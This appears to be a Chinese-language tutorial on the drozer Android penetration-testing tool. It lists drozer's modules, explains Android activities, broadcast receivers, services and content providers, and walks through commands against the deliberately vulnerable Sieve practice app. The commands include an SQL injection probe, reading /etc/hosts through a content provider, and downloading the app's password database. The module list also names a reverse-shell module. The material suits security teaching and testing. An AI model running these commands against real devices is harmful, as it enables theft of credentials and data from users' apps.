5.移动渗透测试工具之drozer

dz>list
app.activity.forintent             Find activities that can handle the given intent
app.activity.info                  Gets information about exported activities.
app.activity.start                 Start an Activity
app.broadcast.info                 Get information about broadcast receivers
app.broadcast.send                 Send broadcast usingan intent
app.broadcast.sniff                Register a broadcast receiver that can sniff particular intents
app.package.attacksurface          Get attack surface of package
app.package.backup                 Lists packages that use the backup API (returns trueon
                                   FLAG_ALLOW_BACKUP)
app.package.debuggable             Find debuggable packages
app.package.info                   Get information about installed packages
app.package.launchintent           Get launch intent of package
app.package.list                   List Packages
app.package.manifest               Get AndroidManifest.xml of package
app.package.native                 Find Native libraries embedded inthe application.
app.package.shareduid              Look forpackages with shared UIDs
app.provider.columns               List columns incontent provider
app.provider.delete                Delete froma content provider
app.provider.download              Download a file froma content provider that supports files
app.provider.finduri               Find referenced content URIs ina package
app.provider.info                  Get information about exported content providers
app.provider.insert                Insert into a Content Provider
app.provider.query                 Query a content provider
app.provider.read                  Read froma content provider that supports files
app.provider.update                Update a record ina content provider
app.service.info                   Get information about exported services
app.service.send                   Send a Message to a service, and display the reply
app.service.start                  Start Service
app.service.stop                   Stop Service
auxiliary.webcontentresolver       Start a web service interfaceto content providers.
exploit.jdwp.check                 Open @jdwp-control and see which apps connect
exploit.pilfer.general.apnprovider
                                   Reads APN content provider
exploit.pilfer.general.settingsprovider
                                   Reads Settings content provider
information.datetime               Print Date/Time
information.deviceinfo             Get verbose device information
information.permissions            Get a list of all permissions used by packages on the device
scanner.activity.browsable         Get all BROWSABLE activities that can be invoked fromthe web
                                   browser
scanner.misc.native                Find native components included inpackages
scanner.misc.readablefiles         Find world-readable files inthe given folder
scanner.misc.secretcodes           Search for secret codes that can be used fromthe dialer
scanner.misc.sflagbinaries         Find suid/sgid binaries in the given folder (default is
                                   /system).
scanner.misc.writablefiles         Find world-writable files inthe given folder
scanner.provider.finduris          Search for content providers that can be queried fromour
                                   context.
scanner.provider.injection         Test content providers forSQL injection vulnerabilities.
scanner.provider.sqltables         Find tables accessible through SQL injection vulnerabilities.
scanner.provider.traversal         Test content providers forbasic directory traversal
                                   vulnerabilities.
shell.exec                         Execute a single Linux command.
shell.send                         Send an ASH shell to a remote listener.
shell.start                        Enter into an interactive Linux shell.
tools.file.download                Download a File
tools.file.md5sum                  Get md5 Checksum of file
tools.file.size                    Get size of file
tools.file.upload                  Upload a File
tools.setup.busybox                Install Busybox.
tools.setup.minimalsu              Prepare 'minimal-su' binary installation on the device.

应用程序中，一个Activity通常就是一个单独的屏幕，它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 
Activity之间通过Intent进行通信。在Intent的描述结构中，有两个最重要的部分：动作和动作对应的数据。

BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时，或者数据网络可用时)
进行接收并做出响应。广播接收器没有用户界面。然而，它们可以启动一个activity或serice 来响应它们收到的信息，或者用
NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在
状态栏上放一个持久的图标，用户可以打开它并获取消息。

一个Service 是一段长生命周期的，没有用户界面的程序，可以用来开发如监控类程序。较好的一个例子就是
一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中，应该会有多个activity，让使用
者可以选择歌曲并播放歌曲。

然而，音乐重放这个功能并没有对应的activity，因为使用者当然会认为在导航到其它屏幕时音乐应该还在播
放的。在这个例子中，媒体播放器这个activity 会使用Context.startService()来启动一个service，从
而可以在后台保持音乐的播放。同时，系统也将保持这个service 一直执行，直到这个service 运行结束。

另外，我们还可以通过使用Context.bindService()方法，连接到一个service 上（如果这个service 还
没有运行将启动它）。当连接到一个service 之后，我们还可以service 提供的接口与它进行通讯。拿媒体播
放器这个例子来说，我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false，默认是
可以导出的

android平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储
在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该
内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。

> list  //列出目前可用的模块，也可以使用ls
> help app.activity.forintent       //查看指定模块的帮助信息
> run app.package.list      //列出android设备中安装的app
> run app.package.info -a com.android.browser       //查看指定app的基本信息
> run app.activity.info -a com.android.browser      //列出app中的activity组件
> run app.activity.start --action android.intent.action.VIEW --data-uri  http://www.google.com  //开启一个activity，例如运行浏览器打开谷歌页面
> run scanner.provider.finduris -a com.sina.weibo       //查找可以读取的Content Provider
> run  app.provider.query content://settings/secure --selection "name='adb_enabled'"    //读取指定Content Provider内容
> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo     //列出指定文件路径里全局可写/可读的文件
> run shell.start       //shell操作
> run tools.setup.busybox       //安装busybox
> list auxiliary        //通过web的方式查看content provider组件的相关内容
> help auxiliary.webcontentresolver     //webcontentresolver帮助
> run auxiliary.webcontentresolver      //执行在浏览器中以http://localhost:8080即可访问

以sieve示例
> run app.package.list -f sieve         //查找sieve应用程序
> run app.package.info -a com.mwr.example.sieve         //显示app.package.info命令包的基本信息
> run app.package.attacksurface com.mwr.example.sieve   //确定攻击面
> run app.activity.info -a com.mwr.example.sieve         //获取activity信息
> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList     //启动pwlist
> run app.provider.info -a com.mwr.example.sieve        //提供商信息
> run scanner.provider.finduris -a com.mwr.example.sieve        //扫描所有能访问地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/--vertical  //查看DBContentProvider/Passwords这条可执行地址
> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"   //检测注入
> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts    //查看读权限数据
> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
> run scanner.provider.injection -a com.mwr.example.sieve       //扫描注入地址
> run scanner.provider.traversal -a com.mwr.example.sieve
> run app.service.info -a com.mwr.example.sieve         //查看服务